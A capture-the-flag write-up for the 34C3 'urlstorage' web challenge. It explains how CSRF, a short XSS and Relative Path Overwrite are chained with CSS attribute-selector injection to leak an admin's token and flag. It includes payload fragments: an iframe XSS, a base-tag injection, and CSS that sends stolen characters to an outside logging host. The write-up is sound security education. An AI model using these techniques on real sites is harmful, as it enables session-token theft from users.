34C3 CTF 2017 – urlstorage writeup

I would briefly describe how I was thinking about the way of making the chain to exploit, get the admin’s flag.

The goal of this challenge is abusing multiple vulnerabilities to get the real flag of admin.


Basically, it let you store your URL on your profile, there is also a functionality to get flag by url like:

Notice that, this flag token is only valid for you, no one without your session can see it.

It says our account is “non-admin”, no real flag here.

So the author want us to steal the flag, by submitting an URL to the admin, we have to get his flag token, and then get the real flag in there as well.

Also there is CSP as below:

frame-src and default-src policies are not defined, the site can load any iframe from anywhere.

The vulnerabilities

Take a first look, we can easily find out there are two vulnerabilities:

  • XSS at{xss} with limited 64 characters.
  • CSRF at /urlstorage you can make him change his URL without his interaction.

With only two these, it is nearly impossible we can achieve the goal.

Just a bit later, I found there is RPO (Relative Path Overwrite) vulnerability as well. RPO is a technique, we can overwrite a relative path. For details can be found here.

(Actually, this is not my first time with RPO, you can read my another writeup about it at here *written in Vietnamese, please use translator, it works well*, the interesting point is, I leveraged RPO to leak Oauth token by using @import instead of open-redirect)

So, by changing my URL to %0a{}%0a*{color:red} I would be able to trigger RPO.

So what could we do with these 3 pieces of the puzzle ? 🤔

Step 1: Get the flag token

If you are familiar with CSS, you’ll know about CSS Selector , so what if we leak href flag?token={...} by using this feature combining RPO.

By the following CSS payload

For example, if token start with 1 , browser make a request to //evil/rpo/logging.php?c=1 (attempt to get background)

After we get the first character, then build for 2nd one

So on…

When I was getting the token, I found out, admin would log-in his account before touch your contact URL, so … token is changed every time.

Luckily, if we solve pow.py , the admins would took ~30 seconds on our URL. It is pretty enough for us to achieve completely 32 characters [0-9a-f] of token

In summary:

Make a page on our server (for example: https://l4w.io/attack/step1 ) including these following steps:

  • Attack CSRF to change victim’s URL to our CSS payload.
  • Open a page , when a victim get into there, by evil css selector, browser would make a request to our server each character of flag token.
  • Completely achieve 32 chars of flag token, then go to /attack/step2 (describe later)

Then make XSS payload on token</title><iframe/src=//l4w.io/attack/step1>

There is XSS-Protection=1, but admin is running on phantomjs… (about this part, I just guess that perhaps admin browser doesn’t integrate with XSS Auditor)

Submit above URL with challenge’s solution pow for sure.

Step 2: Get the flag

As you know, the real flag is placed at:{flag token}

and its source looks like:

content of the flag is a value of the textbox named flag

CSS attribute selector can be used to select an attributes value of a textbox as well.

Problem occurs with this below example.html:

Open it on your browser, it makes a request for https://l4w.io?foo but not https://l4w.io?34c3

How come?

A bit struggle,  I figured it out that, if a selector value startwiths a number 3 of 34C3 , it would not treat your value as a valid string, you have to put it in a quote '34C3'.

But a single and double quote are encoded…

Already know the root-cause, I manage to do that by simply using

CSS [attribute*=”value”] Selector

The [attribute*=”value”] selector is used to select elements whose attribute value contains a specified value.


The payload turns into:

Wait, with this payload, how could we achieve the flag, since the flag is not located at ‘/urlstorage’ where our CSS payload relies on.


Go back to the URL /flag?token={...}

I noticed that, actually flag token is extracted by first 32 characters, the remaining would be ignored like:

Great! it’s the last small pieces of the puzzle.

By abusing it, I inject a <base> tag to make the base of the relative path: static/css/milligram.min.css points to /urlstorage/1 and parse our CSS payload again.</title><base/href=/urlstorage/1

At here /attack/step2, we use the above payload to extract the flag, 30 seconds was not enough for me to achieve: 32 chars token + 40 chars flag.

So I just do it several times, to get flag completely.

The flag is: 34C3_d163c315ddc5458d329d6f4a617ce6d5358145cb

34C3 is great CTF, they delivery high quality challenges as always. I enjoyed much!

manhluat Written by:

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *